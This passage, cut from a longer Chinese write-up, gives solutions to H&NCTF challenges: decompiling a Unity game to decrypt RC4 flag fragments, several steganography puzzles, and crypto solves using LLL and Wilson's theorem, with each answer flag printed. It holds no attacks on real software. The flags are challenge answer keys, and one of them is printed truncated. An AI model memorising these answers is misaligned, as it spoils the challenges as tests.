stage2.append(swap_nibble(target[i] ^ key2[i] ^ ((17 * i + 0x5C) & 0xFF)))
stage1 = [0] * 32
for i, p in enumerate(perm):
stage1[p] = stage2[i]
middle = []
for i in range(32):
middle.append(ror8(stage1[i], (i % 5) + 1) ^ key1[i])
middle = bytes(middle)
if not all(c in b"0123456789abcdef" for c in middle):
raise ValueError(f"decoded middle is not lower hex: {middle!r}")
flag = b"H&NCTF{" + middle + b"}"
return flag.decode()
if __name__ == "__main__":
print(solve())

Image

H&NCTF{45f8b8bb847fb232fb667c0832a6af09}

题目名称:Game#

解题人:weixiao

解题过程:

题目给的是一个 Unity Windows 游戏目录,提示为:

上下左右移动视角,注意:如果是玩通关的话需要通关页面截图,需要截到当前通关的时间(通关后会显示)

题目目录中主要文件如下:

TowerDefense-GameFramework-Demo.exe
UnityPlayer.dll
UnityCrashHandler64.exe
MonoBleedingEdge/
TowerDefense-GameFramework-Demo_Data/

这是典型 Unity Mono 游戏结构。Unity Mono 游戏的业务逻辑通常在:

TowerDefense-GameFramework-Demo_Data/Managed/Assembly-CSharp.dll

先对其进行分析做字符串搜索:

Image

Terminal window
strings -el -n 3 TowerDefense-GameFramework-Demo_Data\Managed\Assembly-CSharp.dll |
Select-String -Pattern "Ctf|Flag|flag|BuildFull|LoadedFlag|time|finish|success" -CaseSensitive:$false

可以看到几个非常关键的字符串:

CtfFlagChallenge
m_LoadedFlag
BuildFullFlag
FLAG PART {0}/{1}: {2}
FULL FLAG:
Current Time

这里基本可以确定:flag 不是在地图里随机藏着,而是有一个专门的 CtfFlagChallenge 类负责通关后显示 flag

反编译 Assembly-CSharp.dll

用 ILSpy 命令行反编译:

Terminal window
dotnet tool install --global ilspycmd --version 8.2.0.7535
ilspycmd -p -o decompiled TowerDefense-GameFramework-Demo_Data\Managed\Assembly-CSharp.dll

然后搜索关键类:

Terminal window
rg -n "class CtfFlagChallenge|BuildFullFlag|FLAG PART|FULL FLAG|Current Time" decompiled

定位到:

decompiled/Flower/CtfFlagChallenge.cs
decompiled/Flower/UIGameOverForm.cs

通关页面逻辑

UIGameOverForm.cs 里成功分支逻辑如下:

case EnumGameOverType.Success:
{
title.text = string.Format(GameEntry.Localization.GetString("Level Complete"), uIGameOverFormOpenParam.LevelData.Name);
title.text = $"{title.text}\n<size=24>{arg}</size>";
string clearMessage = CtfFlagChallenge.GetClearMessage(data.CurrentLevelIndex, data.MaxLevel);
if (!string.IsNullOrEmpty(clearMessage))
{
title.text = $"{title.text}\n<size=26>{clearMessage}</size>";
}
GameEntry.Sound.PlaySound(EnumSound.TDVictory);
break;
}

arg 的生成方式是:

string arg = string.Format(
GameEntry.Localization.GetString("Current Time"),
DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss")
);

所以题目提示里说的“通关后会显示当前通关时间”就在这里。

同时可以看到,通关页面会调用:

CtfFlagChallenge.GetClearMessage(data.CurrentLevelIndex, data.MaxLevel)

因此 flag 关键逻辑就在 CtfFlagChallenge

lag 显示逻辑

反编译得到的 CtfFlagChallenge.cs 关键内容如下:

private static readonly string[] FragmentCipherTexts = new string[5]
{
"dCQ0aeTWu+M=",
"IrV0QzjF+p4=",
"+Y+SXYILQ2U=",
"0jTBuKupi5A=",
"6ndQ+FXKPLk="
};
private static readonly byte[] KeySeed = new byte[8]
{
67, 17, 154, 5, 126, 211, 44, 97
};
private static readonly byte[] KeyMask = new byte[8]
{
24, 39, 53, 74, 89, 108, 114, 143
};

通关某一关时,GetClearMessage 会显示当前关卡对应的 fragment:

string fragment = GetFragment(currentLevelIndex);
string text = $"FLAG PART {currentLevelIndex}/{num}: {fragment}";

如果所有关卡都有星级记录,则拼接完整 flag:

if (HasClearedAllLevels(num))
{
text = $"{text}\nFULL FLAG:\n{BuildFullFlag(num)}";
}

这里的 HasClearedAllLevels 不是解密条件,只是 UI 显示完整 flag 的条件:

private static bool HasClearedAllLevels(int totalLevelCount)
{
for (int i = 1; i <= totalLevelCount; i++)
{
if (GameEntry.Setting.GetInt($"Setting.Level{i}LevelStarRecord", 0) <= 0)
{
return false;
}
}
return true;
}

也就是说,只要静态复现 GetFragment(i),不需要真的打通全部关卡。

解密函数

GetFragment 如下:

private static string GetFragment(int levelIndex)
{
byte[] bytes = Rc4Utility.Transform(
Convert.FromBase64String(FragmentCipherTexts[levelIndex - 1]),
BuildKey(levelIndex)
);
return Encoding.UTF8.GetString(bytes);
}

解密流程是:

  1. 取第 levelIndex 个 Base64 字符串。

  2. Base64 解码得到密文字节。

  3. BuildKey(levelIndex) 生成 RC4 key。

  4. 调用 Rc4Utility.Transform 解密。

  5. UTF-8 解码得到 flag 片段。

BuildKey 如下:

private static byte[] BuildKey(int levelIndex)
{
byte[] array = new byte[KeySeed.Length + 4];
for (int i = 0; i < KeySeed.Length; i++)
{
array[i] = (byte)((uint)(KeySeed[i] ^ KeyMask[i]) ^ ((uint)((levelIndex + 3) * (i + 11)) & 0xFFu));
}
array[KeySeed.Length] = (byte)(49 + levelIndex * 3);
array[KeySeed.Length + 1] = (byte)(0x57u ^ (uint)levelIndex);
array[KeySeed.Length + 2] = (byte)(160 - levelIndex * 7);
array[KeySeed.Length + 3] = (byte)(92 + levelIndex * 5);
return array;
}

所以每一关的 RC4 key 都不同,由关卡编号派生。

Rc4Utility.Transform 是标准 RC4 KSA + PRGA:

public static byte[] Transform(byte[] data, byte[] key)
{
byte[] array = new byte[256];
for (int i = 0; i < array.Length; i++)
{
array[i] = (byte)i;
}
int num = 0;
for (int j = 0; j < array.Length; j++)
{
num = (num + array[j] + key[j % key.Length]) & 0xFF;
Swap(array, j, num);
}
byte[] array2 = new byte[data.Length];
int num2 = 0;
num = 0;
for (int k = 0; k < data.Length; k++)
{
num2 = (num2 + 1) & 0xFF;
num = (num + array[num2]) & 0xFF;
Swap(array, num2, num);
array2[k] = (byte)(data[k] ^ array[(array[num2] + array[num]) & 0xFF]);
}
return array2;
}

因此只需要把 FragmentCipherTextsKeySeedKeyMaskBuildKey 和 RC4 复现到脚本里。

解题脚本

#!/usr/bin/env python3
import base64
FRAGMENT_CIPHERTEXTS = [
"dCQ0aeTWu+M=",
"IrV0QzjF+p4=",
"+Y+SXYILQ2U=",
"0jTBuKupi5A=",
"6ndQ+FXKPLk=",
]
KEY_SEED = [67, 17, 154, 5, 126, 211, 44, 97]
KEY_MASK = [24, 39, 53, 74, 89, 108, 114, 143]
def build_key(level_index: int) -> bytes:
key = []
for i, seed in enumerate(KEY_SEED):
v = seed ^ KEY_MASK[i] ^ (((level_index + 3) * (i + 11)) & 0xFF)
key.append(v & 0xFF)
key.append((49 + level_index * 3) & 0xFF)
key.append((0x57 ^ level_index) & 0xFF)
key.append((160 - level_index * 7) & 0xFF)
key.append((92 + level_index * 5) & 0xFF)
return bytes(key)
def rc4(data: bytes, key: bytes) -> bytes:
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) & 0xFF
s[i], s[j] = s[j], s[i]
out = bytearray()
i = 0
j = 0
for b in data:
i = (i + 1) & 0xFF
j = (j + s[i]) & 0xFF
s[i], s[j] = s[j], s[i]
out.append(b ^ s[(s[i] + s[j]) & 0xFF])
return bytes(out)
def get_fragment(level_index: int) -> str:
data = base64.b64decode(FRAGMENT_CIPHERTEXTS[level_index - 1])
return rc4(data, build_key(level_index)).decode("utf-8")
def main() -> None:
parts = []
for level_index in range(1, len(FRAGMENT_CIPHERTEXTS) + 1):
part = get_fragment(level_index)
parts.append(part)
print(f"part {level_index}: {part}")
print("flag:", "".join(parts))
if __name__ == "__main__":
main()

Image

Image

H&NCTF{0cc94984ed9fba684ff6cf165b2c9eec}

Misc#

题目名称:雪中刀盾#

解题人:Lu0m0

解题过程:

下载附件,得到key和png,png中左下角存在提示:ilovectf

然后key是:xor:66666666 ,这个应该是后面要与某个东西xor得到key之类的

Image

010查看png,发现后面多了010数据和被魔改的zip数据

Image

先处理010得到自定义的base64编码表,应该是后面用的:

01234ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz56789+/

然后修复zip,得到txt,根据提示推断是snow隐写,我们提取一下

Image

需要密码,尝试前面的66666666和ilove都不对,然后xor这两个得到就是key

Image

_ZY@SUBP

Image

N2UJLwMBZuMpWyYaXv5qYw9uWe1ySyIpWt4cDSv=

最后base64解密:H&NCTF{4now_sNow_sn0w_sno!!!}

Image

H&NCTF{4now_sNow_sn0w_sno!!!}

题目名称:pnumber穿越小记#

解题人:Lu0m0

解题过程:

随波逐流检查一下发现里面含很多文件,我们foremost一下看看,得到三种文件

Image

010检查png,发现中藏了一个可疑的数据块steg,好像在提示steg隐写

Image

将其提取一下,发现里面藏了png zip

Image

png没有,zip提取出来里面是js.txt,但加密了,需要找密码。刚好随波逐流中检测到了key相关信息,一个mp3

Image

然后看mp3的频谱图发现摩斯密码,解密得到key,解压拿到flag

KEY:ASD79DA12EDBQW78
flag:H&NCTF{Sciuoe72-mbhyu809_k1ut1-n90sh_18sdb}

Image

题目名称:星夜回声档案#

解题人:Lu0m0

解题过程:

得到一个加密的zip,然后尝试爆破无果。可能是隐形伪加密,尝试将加密位改为未加密,成功解密

010查看一下,发现末尾有个倒置的base64,解密一下

Image

得到提示:

{
"hint": {
"offset": 128,
"size": 169,
"method": "rot13"
},
"ppm": {
"offset": 1024,
"size": 989094,
"method": "reverse"
},
"wav": {
"offset": 990118,
"size": 60044,
"method": "xor",
"key": 35
}
}

根据提示提取出这三个信息or数据文件

import codecs
data = open("cosmic_archive.dat", "rb").read()
meta = {
"hint": {"offset": 128, "size": 169, "method": "rot13"},
"ppm": {"offset": 1024, "size": 989094, "method": "reverse"},
"wav": {"offset": 990118, "size": 60044, "method": "xor", "key": 35},
}
# hint
h = data[meta["hint"]["offset"]:meta["hint"]["offset"] + meta["hint"]["size"]]
h = codecs.decode(h.decode(), "rot13")
open("hint.txt", "w", encoding="utf-8").write(h)
# ppm
p = data[meta["ppm"]["offset"]:meta["ppm"]["offset"] + meta["ppm"]["size"]]
p = p[::-1]
open("star.ppm", "wb").write(p)
# wav
w = data[meta["wav"]["offset"]:meta["wav"]["offset"] + meta["wav"]["size"]]
w = bytes([x ^ meta["wav"]["key"] for x in w])
open("echo.wav", "wb").write(w)

hint是:

只看最亮的星的路径

回声是诚实的,因为它会重复。

假音比真音更响。

The sky does not hide words in plain sight.
Only the brightest points remember the route.
The echo is honest because it repeats.
A false note is louder than a true one

对于png,我们提取像素值大于240的:max(r, g, b) >= 240

from PIL import Image
from collections import Counter
img = Image.open(r"C:\Users\chenz\Downloads\Starry_Echo_Archive\star.ppm").convert("RGB")
w, h = img.size
bits = []
for y in range(h):
for x in range(w):
r, g, b = img.getpixel((x, y))
# 只取高亮星点
if max(r, g, b) >= 240:
bits.append(r & 1)
bits.append(g & 1)
bits.append(b & 1)
# 每 8 bit 转成一个字节,按高位在前
out = bytearray()
for i in range(0, len(bits) - 7, 8):
byte = 0
for bit in bits[i:i + 8]:
byte = (byte << 1) | bit
out.append(byte)
print(out)

Image

得到flag1:

flag{F4k3_Zip_St4rs_

然后后面提示:节奏:c8:2a

意思是后面音频部分按 0xc8 = 200 的节奏处理,2a是用于xor的key。

写脚本处理,测试发现每个 block 的第 137 个采样点在变换,说明这个地方是藏信息的

import wave
with wave.open(r"C:\Users\chenz\Downloads\Starry_Echo_Archive\echo.wav", "rb") as f:
samples = f.readframes(f.getnframes())
block_size = 0xc8
pos = 137
res = []
for i in range(0, len(samples), block_size):
block = samples[i:i + block_size]
if len(block) < block_size:
continue
v = block[pos]
# 0xde 是 false note,过滤
if v == 0xde:
continue
ch = v ^ 0x2a
# 只保留可打印字符
if 32 <= ch <= 126:
res.append(ch)
print(bytes(res))

Image

得到第二部分flag

And_C0sm1c_Ech0}

拼接:

flag{F4k3_Zip_St4rs_And_C0sm1c_Ech0}

题目名称:寻找牢大之路#

解题人:weixiao

解题过程:

可以下载模组

https://github\.com/etianl/meteor\-client\-1\.20\.4

然后mc

安装1.20.4 4yrfuy,把模组jar包拖入安装即可

Image

第一阶段拿到的是:

compass_chicken

神秘指南针Ⅰ

第一关杀只剩鸡-小鸡,获得初步升级,并给了链甲套和武器 镐鸡

第二阶段指南针变为:

compass_laoxiao

神秘指南针Ⅱ

第二关杀牢小-蜘蛛,获得整体升级,获得了飞行猿套装、鸡泥态美和寻找牢大之路

第三关杀牢大-大僵尸

拿到flag

flag{13b99c7fe2df53c495905648cdc16229}

Image

题目名称:base玩明白了#

解题人:wewixiao

解题过程:

一张图片,一个加密的压缩包

题面提示是 BBBBig5???,而 jpg 文件名里有 00txt64key,说明重点大概率在图片尾部、编码转换和 base64 key 上。

先检查 jpg 末尾,发现 JPEG 的 FFD9 结束标记后面还有 8 字节尾随数据:

00 c4 65 40 cc 76 b7 9b

去掉开头的 00 后得到:

c4 65 40 cc 76 b7 9b

Image

先按 GBK 解码成文本,再按 Big5/CP950 编码,最后 base64:

from pathlib import Path
import base64
jpg = Path("beautiful00txt64key.jpg").read_bytes()
tail = jpg[jpg.rfind(b"\xff\xd9") + 2:]
data = tail[1:] # 去掉开头 00
s = data.decode("gbk")
password = base64.b64encode(s.encode("cp950")).decode()
print(password)

得到压缩包密码:

46ZA90za2w==

用这个密码解压 amazing.zip,得到二维码图片 qrcode.png。扫描二维码内容为:

c3PKPIMc09gpvNaLzzxqN8INOPDePTBFVjQfQEjVtYp5isZO37ZWWcvTXcyeqAEWJ

Image

这串看起来像 base64,但长度是 65,len % 4 == 1,不是合法 base64。再结合题目名“base玩明白了”和前面的密码:

46ZA90za2w==

把密码倒过来看:

==w2az09AZ64

其中 az09AZ 提示 base62 字母表顺序:

abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ

64 提示 base62 解完后还要 base64

于是对二维码内容按这个字母表做 base62 解码:

import base64
qr = "c3PKPIMc09gpvNaLzzxqN8INOPDePTBFVjQfQEjVtYp5isZO37ZWWcvTXcyeqAEWJ"
alphabet = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
v = 0
for ch in qr:
v = v * 62 + alphabet.index(ch)
b64 = v.to_bytes((v.bit_length() + 7) // 8, "big")
print(b64.decode())
flag = base64.b64decode(b64).decode()
print(flag)

H&NCTF{th0_miscS_flAg_arE_beAutifUl}

题目名称:签到#

解题人:weixiao

解题思路:

进入微信公众号推文,查看留言

Image

base64解码

Image

拿到flag

H&NCTF{LinfengYun_360SRC_Haobachang_SHunFengAnquanSFSRC_Hacking_Group_HG_0434}

题目名称:问卷调查#

解题人:J4toPos

解题思路:

填写问卷即可

Image

H&NCTF{hd0dwd0csidjinugvd0dmiji6dsim0od0oOdusO0u9}

Crypto#

题目名称:lush foliage#

解题人:weixiao

解题过程:

题目把 flag 作为随机字符表:

  • key:从 flag 字符集合中随机选 16 个字符;

  • iv:同样从 flag 字符集合中随机选 16 个字符;

  • hint1 = bytes_to_long(key)

  • hint2:再从 flag 字符集合中随机选 16 个字符,且满足 gcd(hint1, hint2)=1

  • 输出 hint1 ^ hint2hint1 * hint2

  • 对 30 组随机 64-bit 系数 a,b,只输出高 32 位 A=a>>32, B=b>>32,并输出

C = (a*hint1^2 + b*hint2^2 + iv)^2 mod (hint1*hint2)

最后用 AES-CBC(key, iv) 加密 flag。

**由 product 和 xor 恢复 **hint1/hint2

已知

x = hint1 ^ hint2
n = hint1 * hint2

逐 bit 枚举两个数当前位,并检查低 k+1 位乘积是否等于 n mod 2^(k+1)。因为 xor 固定每一位只有两种情况,乘积低位会快速剪枝。最后得到两组候选:(hint1,hint2) 和交换顺序。

利用模 hint2 / 模 hint1 消去一半项

a=(A<<32)+x_ib=(B<<32)+y_i,其中 x_i,y_i < 2^32

对模 hint2

C_i = ((A_i<<32)*hint1^2 + x_i*hint1^2 + iv)^2 mod hint2

因为 b*hint2^2 在模 hint2 下为 0。对模 hint1 同理:

C_i = ((B_i<<32)*hint2^2 + y_i*hint2^2 + iv)^2 mod hint1

这就是题目提示里的 “What is left when the high ones fall?”:输出的高 32 位留下了主项,低 32 位成为小未知量。

用平方根分支 + 区间交集过滤

以模 hint2 为例,设

m = hint1^2 mod hint2
w = iv * m^(-1) mod hint2

每个平方根 r 都满足:

x_i = (r - (A_i<<32)*m - iv) * m^(-1) mod hint2

而真实的 x_i < 2^32,所以每个根都会给 w 一个长度为 2^32 的环上区间。30 组数据求交后,错误平方根分支基本都会被排除。

hint1y_i 做同样处理。

LLL 恢复精确 IV

过滤后通常只剩极少数组合。把模 hint1 和模 hint2 的平方根 CRT 合成完整根 root,有

root - (A<<32)*hint1^2 - (B<<32)*hint2^2 = x***hint1^2 + y*hint2^2 + iv mod hint1*hint2

也就是

x*hint1^2 + y*hint2^2 + iv - D = k*(hint1*hint2)

其中 x,y,k 约 32 bit,iv 约 128 bit。构造 4x5 小格:

[ hint1^2, S, 0, 0, 0 ]
[ hint2^2, 0, S, 0, 0 ]
[ -N, 0, 0, S, 0 ]
[ -D, 0, 0, 0, M ]

S=2^128/2^32=2^96, M=2^128,LLL 后短向量形如:

[-iv, x*S, y*S, k*S, M]

从而得到精确 IV。

AES-CBC 解密

hint1 就是 AES key。恢复 keyiv 后,对 ciphertext 做 AES-CBC 解密并去 PKCS#7 padding 即可得到 flag。

exp.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Requirements: pip install pwntools pycryptodome sympy
import ast
import re
from fractions import Fraction
from pwn import remote, context
from Crypto.Cipher import AES
from sympy.ntheory.residue_ntheory import sqrt_mod
HOST = "114.66.24.210"
PORT = ...
NBITS = 128
LOW = 1 << 32
VBOUND = 1 << 128
context.log_level = "error"
def i2b(x: int, n: int = 16) -> bytes:
return int(x).to_bytes(n, "big")
def int_to_ct(x: int) -> bytes:
raw = int(x).to_bytes(max(1, (int(x).bit_length() + 7) // 8), "big")
return raw.rjust(((len(raw) + 15) // 16) * 16, b"\x00")
def unpad_pkcs7(data: bytes) -> bytes:
if not data:
raise ValueError("empty plaintext")
k = data[-1]
if k < 1 or k > 16 or data[-k:] != bytes([k]) * k:
raise ValueError("bad padding")
return data[:-k]
def parse_output(s: str):
def grab(name):
m = re.search(rf"{re.escape(name)}=([^\n]+)", s)
if not m:
raise ValueError(f"missing {name}")
return m.group(1).strip()
A = ast.literal_eval(grab("A[]"))
B = ast.literal_eval(grab("B[]"))
C = ast.literal_eval(grab("C[]"))
ciphertext = int(grab("ciphertext"))
hx = int(grab("hint1^hint2"))
hn = int(grab("hint1*hint2"))
return A, B, C, ciphertext, hx, hn
def recover_xor_product(x: int, n: int, nbits: int = NBITS):
*"""Recover the two 128-bit factors from product and xor by bit DP."""*
* *cand = [(0, 0)]
for k in range(nbits):
xb = (x >> k) & 1
opts = ((0, 0), (1, 1)) if xb == 0 else ((0, 1), (1, 0))
mask = (1 << (k + 1)) - 1
target = n & mask
nxt = []
for a, b in cand:
for ak, bk in opts:
aa = a | (ak << k)
bb = b | (bk << k)
if (aa * bb) & mask == target:
nxt.append((aa, bb))
cand = nxt
return [(a, b) for a, b in cand if a * b == n and (a ^ b) == x]
# ---------- tiny exact LLL, enough for the 4x5 lattice in this challenge ----------
def _gs(B):
n, m = len(B), len(B[0])
Bstar = [[Fraction(0) for _ in range(m)] for __ in range(n)]
mu = [[Fraction(0) for _ in range(n)] for __ in range(n)]
norm = [Fraction(0) for _ in range(n)]
for i in range(n):
v = list(map(Fraction, B[i]))
for j in range(i):
if norm[j] == 0:
continue
mu[i][j] = sum(Fraction(B[i][k]) * Bstar[j][k] for k in range(m)) / norm[j]
for k in range(m):
v[k] -= mu[i][j] * Bstar[j][k]
Bstar[i] = v
norm[i] = sum(t * t for t in v)
return mu, norm
def _nearest(q: Fraction) -> int:
z = q.numerator // q.denominator
r = q - z
if r > Fraction(1, 2):
z += 1
if r < -Fraction(1, 2):
z -= 1
return z
def lll(B, delta=Fraction(3, 4)):
B = [list(map(int, row)) for row in B]
k = 1
mu, norm = _gs(B)
while k < len(B):
for j in range(k - 1, -1, -1):
q = _nearest(mu[k][j])
if q:
B[k] = [B[k][i] - q * B[j][i] for i in range(len(B[0]))]
mu, norm = _gs(B)
if norm[k] >= (delta - mu[k][k - 1] * mu[k][k - 1]) * norm[k - 1]:
k += 1
else:
B[k], B[k - 1] = B[k - 1], B[k]
mu, norm = _gs(B)
k = max(k - 1, 1)
return B
# ---------- interval filtering for modular square-root branches ----------
def merge_intervals(intervals):
if not intervals:
return []
intervals = sorted(intervals)
out = [list(intervals[0])]
for l, r in intervals[1:]:
if l <= out[-1][1] + 1:
out[-1][1] = max(out[-1][1], r)
else:
out.append([l, r])
return [tuple(x) for x in out]
def circular_interval(base: int, length: int, mod: int):
# inclusive interval [base-length+1, base] on Z_mod
l = (base - length + 1) % mod
r = base % mod
if l <= r:
return [(l, r)]
return [(0, r), (l, mod - 1)]
def intersect_intervals(a, b):
i = j = 0
out = []
while i < len(a) and j < len(b):
l = max(a[i][0], b[j][0])
r = min(a[i][1], b[j][1])
if l <= r:
out.append((l, r))
if a[i][1] < b[j][1]:
i += 1
else:
j += 1
return out
def possible_w_intervals(modulus: int, m: int, highs, C):
*"""*
* For c = ((hi<<32)*m + low*m + iv)^2 mod modulus,*
* let w = iv * m^{-1}. Each root gives an interval for w.*
* """*
* *inv_m = pow(m, -1, modulus)
cur = [(0, modulus - 1)]
rootlists = []
for hi, ci in zip(highs, C):
roots = list(map(int, sqrt_mod(ci % modulus, modulus, all_roots=True)))
rootlists.append(roots)
K = ((hi << 32) * m) % modulus
union = []
for r in roots:
base = ((r - K) * inv_m) % modulus
union.extend(circular_interval(base, LOW, modulus))
union = merge_intervals(union)
cur = merge_intervals(intersect_intervals(cur, union))
if not cur:
break
return cur, rootlists
def root_survivors_for_sample0(modulus: int, m: int, hi0: int, c0: int, final_intervals):
inv_m = pow(m, -1, modulus)
K = ((hi0 << 32) * m) % modulus
ans = []
for r in map(int, sqrt_mod(c0 % modulus, modulus, all_roots=True)):
base = ((r - K) * inv_m) % modulus
ints = merge_intervals(circular_interval(base, LOW, modulus))
if intersect_intervals(ints, final_intervals):
ans.append(r)
return ans
def crt2(a: int, m: int, b: int, n: int) -> int:
return (a + m * (((b - a) * pow(m, -1, n)) % n)) % (m * n)
def solve_iv_from_full_root(h1: int, h2: int, Ai: int, Bi: int, root: int):
N = h1 * h2
H1 = h1 * h1
H2 = h2 * h2
D = (root - ((Ai << 32) * H1 + (Bi << 32) * H2)) % N
S = VBOUND // LOW
M = VBOUND
# x*H1 + y*H2 + iv - D = k*N
# x,y,k about 32 bits, iv about 128 bits.
basis = [
[H1, S, 0, 0, 0],
[H2, 0, S, 0, 0],
[-N, 0, 0, S, 0],
[-D, 0, 0, 0, M],
]
sols = []
for vec in lll(basis):
first, xs, ys, ks, last = vec
if abs(last) != M or xs % S or ys % S or ks % S:
continue
sign = 1 if last == M else -1
x = sign * xs // S
y = sign * ys // S
k = sign * ks // S
iv = -sign * first
if 0 <= x < LOW and 0 <= y < LOW and 0 <= iv < VBOUND:
if x * H1 + y * H2 + iv - D == k * N:
sols.append(iv)
return sols
def verify_iv(h1: int, h2: int, A, B, C, iv: int, roots_h1, roots_h2) -> bool:
H1 = h1 * h1
H2 = h2 * h2
for Ai, Bi, ci, r1s, r2s in zip(A, B, C, roots_h1, roots_h2):
# mod h2 fixes the low 32 bits of coefficient_a
m = H1 % h2
inv_m = pow(m, -1, h2)
K = ((Ai << 32) * m + iv) % h2
ok = any(((r - K) * inv_m) % h2 < LOW for r in r2s)
if not ok:
return False
# mod h1 fixes the low 32 bits of coefficient_b
m = H2 % h1
inv_m = pow(m, -1, h1)
K = ((Bi << 32) * m + iv) % h1
ok = any(((r - K) * inv_m) % h1 < LOW for r in r1s)
if not ok:
return False
return True
def recover_iv(h1: int, h2: int, A, B, C):
H1 = h1 * h1
H2 = h2 * h2
int_h2, roots_h2 = possible_w_intervals(h2, H1 % h2, A, C)
int_h1, roots_h1 = possible_w_intervals(h1, H2 % h1, B, C)
if not int_h1 or not int_h2:
return []
surv_h2 = root_survivors_for_sample0(h2, H1 % h2, A[0], C[0], int_h2)
surv_h1 = root_survivors_for_sample0(h1, H2 % h1, B[0], C[0], int_h1)
ivs = []
for r1 in surv_h1:
for r2 in surv_h2:
full_root = crt2(r1, h1, r2, h2)
for iv in solve_iv_from_full_root(h1, h2, A[0], B[0], full_root):
if verify_iv(h1, h2, A, B, C, iv, roots_h1, roots_h2):
ivs.append(iv)
return sorted(set(ivs))
def decrypt_flag(key_int: int, iv_int: int, ciphertext_int: int) -> bytes:
key = i2b(key_int)
iv = i2b(iv_int)
ct = int_to_ct(ciphertext_int)
pt = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)
return unpad_pkcs7(pt)
def solve(data: str):
A, B, C, ciphertext, hx, hn = parse_output(data)
pairs = recover_xor_product(hx, hn)
results = []
for h1, h2 in pairs:
for iv in recover_iv(h1, h2, A, B, C):
try:
flag = decrypt_flag(h1, iv, ciphertext)
# Basic sanity filter; remove it if the flag format is very unusual.
if all(32 <= c < 127 for c in flag):
results.append((flag.decode(), h1, h2, iv))
except Exception:
pass
return results
def main():
io = remote(HOST, PORT)
data = io.recvall(timeout=5).decode(errors="ignore")
print(data)
ans = solve(data)
if not ans:
raise SystemExit("[-] no valid flag found")
for flag, h1, h2, iv in ans:
print("[+] flag =", flag)
print("[+] key =", i2b(h1))
print("[+] iv =", i2b(iv))
if __name__ == "__main__":
main()
"""
[+] flag = H&NCTF{e1555804fc6e
[+] key = b'cT&N58N5&e0&H08c'
[+] iv = b'55F56408F6c4ec50'
"""

H&NCTF{e1555804fc6e

题目名称:狗熊岭#

解题人:J4toPos

解题过程:

题目给出一张图片和一个 Python 加密脚本。脚本中隐藏了 Sec_Weaponflag,只留下了加密逻辑、eeeciphertext

核心代码如下:

Sec_Weapon = "??????????"
flag = "????????????"
m = bytes_to_long(flag.encode())
Sec_Weapon = bytes_to_long(Sec_Weapon.encode())
e = 65537
ee = #??????
eee = ((factorial_n_minus_1(e)) * ee) % e
ciphertext = powmod(m, ee, Sec_Weapon * (e ** 12))
print(f"eee={eee}")
print(f"ciphertext={ciphertext}")
# eee=47580
# ciphertext=382896577643443968472170168897624448214289762811480375301807069031090665207710745899

首先对题目图片进行 LSB 隐写检查。分别检查 RGB 三个通道的最低有效位后,发现 B 通道 LSB 中存在明显的隐藏头:

HNLSB1

继续解析该头部,可以得到隐藏图片的宽高:

width = 400
height = 180

说明 B 通道最低位中藏了一张 400 x 180 的黑白图片。

提取脚本如下:

from PIL import Image
import numpy as np
def bits_to_bytes(bits):
data = bytearray()
for i in range(0, len(bits), 8):
v = 0
for b in bits[i:i + 8]:
v = (v << 1) | int(b)
data.append(v)
return bytes(data)
img = Image.open("stego.png").convert("RGB")
arr = np.array(img)
# 取 B 通道最低有效位
bits = (arr[:, :, 2].reshape(-1) & 1).astype(np.uint8)
# 前 14 字节为自定义头部:
# HNLSB1 + 4 字节宽度 + 4 字节高度
header_len = 14 * 8
header = bits_to_bytes(bits[:header_len])
print("[+] Header:", header)
magic = header[:6]
width = int.from_bytes(header[6:10], "big")
height = int.from_bytes(header[10:14], "big")
print("[+] Magic:", magic)
print("[+] Width:", width)
print("[+] Height:", height)
start = header_len
end = start + width * height
hidden_bits = bits[start:end].reshape(height, width)
# 反色后更容易观察文字
hidden_img = Image.fromarray(((1 - hidden_bits) * 255).astype(np.uint8), "L")
# 放大方便查看
hidden_img = hidden_img.resize(
(width * 8, height * 8),
Image.Resampling.NEAREST
)
hidden_img.save("hidden.png")
print("[+] Hidden image saved as hidden.png")

运行后得到隐藏图片,其中关键提示为:

秘密武器代号:
神原原!原神!神神!神原!神原原原!原原!神神原!神原原原!原!原神!原神原

Image

可以看作摩斯密码的变形。

设定映射关系:

神 = -
原 = .

再以中文感叹号 分割每一组编码:

神原原 -> -.. -> D
原神 -> .- -> A
神神 -> -- -> M
神原 -> -. -> N
神原原原 -> -... -> B
原原 -> .. -> I
神神原 -> --. -> G
神原原原 -> -... -> B
原 -> . -> E
原神 -> .- -> A
原神原 -> .-. -> R

拼接得到:

DAMNBIGBEAR

因此可以确定加密脚本中的:

Sec_Weapon = "DAMNBIGBEAR"

脚本中给出:

e = 65537
eee = ((factorial_n_minus_1(e)) * ee) % e

其中:

factorial_n_minus_1(e) = (e - 1)!

由于 65537 是素数,根据 Wilson 定理:

(e - 1)! ≡ -1 mod e

所以:

eee ≡ -ee mod e

题目给出:

eee = 47580

因此:

ee ≡ -47580 mod 65537
ee = 17957

对应代码:

e = 65537
eee = 47580
ee = (-eee) % e
print(ee)

输出:

17957

加密代码为:

ciphertext = powmod(m, ee, Sec_Weapon * (e ** 12))

所以模数为:

n = bytes_to_long(b"DAMNBIGBEAR") * 65537 ** 12

计算:

bytes_to_long(b"DAMNBIGBEAR") = 82515335593625240279007570

对其分解:

82515335593625240279007570
= 2 * 3 * 5 * 331 * 8309701469650074549749

因此完整模数分解为:

n = 2 * 3 * 5 * 331 * 8309701469650074549749 * 65537^12

因为已经知道模数分解,可以计算欧拉函数:

phi(n) = Π (p - 1) * p^(a - 1)

然后求私钥指数:

d = inverse(ee, phi)

最后解密:

m = pow(ciphertext, d, n)
flag = long_to_bytes(m)

完整exp如下:

from math import gcd
def bytes_to_long(b):
return int.from_bytes(b, "big")
def long_to_bytes(n):
return n.to_bytes((n.bit_length() + 7) // 8, "big")
e = 65537
eee = 47580
ciphertext = 382896577643443968472170168897624448214289762811480375301807069031090665207710745899
Sec_Weapon = "DAMNBIGBEAR"
Sec_Weapon_num = bytes_to_long(Sec_Weapon.encode())
# Wilson 定理:
# (e - 1)! ≡ -1 mod e
# eee ≡ -ee mod e
ee = (-eee) % e
